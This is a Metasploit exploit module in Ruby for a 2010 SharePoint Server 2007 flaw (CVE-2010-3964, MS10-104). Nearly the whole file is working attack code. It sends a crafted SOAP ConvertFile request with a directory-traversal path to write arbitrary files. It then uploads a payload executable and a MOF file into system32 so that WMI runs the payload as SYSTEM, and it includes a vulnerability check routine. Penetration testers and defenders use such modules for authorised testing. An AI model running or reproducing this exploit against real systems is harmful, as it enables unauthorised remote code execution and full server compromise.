##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize
		super(
			'Name'        => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
				software contains a directory traversal, that allows a remote attacker to write
				arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
				request to the Office Document Conversions Launcher Service, which results in code
				execution under the context of 'SYSTEM'.

				The module uses uses the Windows Management Instrumentation service to execute an
				arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
				It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
				2003 SP2.
			},
			'Author'      => [
				'Oleksandr Mirosh', # Vulnerability Discovery and PoC
				'James Burton', # Vulnerability analysis published at "Entomology: A Case Study of Rare and Interesting Bugs"
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'CVE', '2010-3964' ],
					[ 'OSVDB', '69817' ],
					[ 'BID', '45264' ],
					[ 'MSB', 'MS10-104' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ]
				],
			'Targets'     =>
				[
					[ 'Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Dec 14 2010'
		)

		register_options(
			[
				Opt::RPORT(8082),
				OptInt.new('DEPTH', [true, "Levels to reach base directory",7])
			], self.class)
	end

	# Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get
	# the response maybe due to the 100 (Continue) status response even when the Expect
	# header isn't included in the request.
	def upload_file(file_name, contents)

		traversal = "..\\" * datastore['DEPTH']

		soap_convert_file = "<SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
		soap_convert_file << "xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
		soap_convert_file << "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" "
		soap_convert_file << "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" "
		soap_convert_file << "xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" "
		soap_convert_file << "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" << "\x0d\x0a"
		soap_convert_file << "<SOAP-ENV:Body>" << "\x0d\x0a"
		soap_convert_file << "<i2:ConvertFile id=\"ref-1\" "
		soap_convert_file << "xmlns:i2=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface\">" << "\x0d\x0a"
		soap_convert_file << "<launcherUri id=\"ref-3\">http://#{rhost}:8082/HtmlTrLauncher</launcherUri>" << "\x0d\x0a"
		soap_convert_file << "<appExe id=\"ref-4\"></appExe>" << "\x0d\x0a"
		soap_convert_file << "<convertFrom id=\"ref-5\">#{traversal}#{file_name}</convertFrom>" << "\x0d\x0a"
		soap_convert_file << "<convertTo id=\"ref-6\">html</convertTo>" << "\x0d\x0a"
		soap_convert_file << "<fileBits href=\"#ref-7\"/>" << "\x0d\x0a"
		soap_convert_file << "<taskName id=\"ref-8\">brochure_to_html</taskName>" << "\x0d\x0a"
		soap_convert_file << "<configInfo id=\"ref-9\"></configInfo>" << "\x0d\x0a"
		soap_convert_file << "<timeout>20</timeout>" << "\x0d\x0a"
		soap_convert_file << "<fReturnFileBits>true</fReturnFileBits>" << "\x0d\x0a"
		soap_convert_file << "</i2:ConvertFile>" << "\x0d\x0a"
		soap_convert_file << "<SOAP-ENC:Array id=\"ref-7\" xsi:type=\"SOAP-ENC:base64\">#{Rex::Text.encode_base64(contents)}</SOAP-ENC:Array>" << "\x0d\x0a"
		soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"
		soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"

		res = send_request_cgi({
			'uri'          => '/HtmlTrLauncher',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset="utf-8"',
			'headers'      =>
				{
				'SOAPAction'      => '"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile"',
				},
			'data' => soap_convert_file
		})
		return res
	end

	# The check tries to create a test file in the root
	def check

		peer = "#{rhost}:#{rport}"
		filename = rand_text_alpha(rand(10)+5) + '.txt'
		contents = rand_text_alpha(rand(10)+5)

		print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
		res = upload_file(filename, contents)

		if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit

		peer = "#{rhost}:#{rport}"

		# Setup the necessary files to do the wbemexec trick
		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
		exe      = generate_payload_exe
		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
		mof      = generate_mof(mof_name, exe_name)

		print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
		res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
		if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
			print_good("#{peer} - #{exe_name} uploaded successfully")
		else
			print_error("#{peer} - Failed to upload #{exe_name}")
			return
		end

		print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
		res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
		if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
			print_good("#{peer} - #{mof_name} uploaded successfully")
		else
			print_error("#{peer} - Failed to upload #{mof_name}")
			return
		end

	end

end

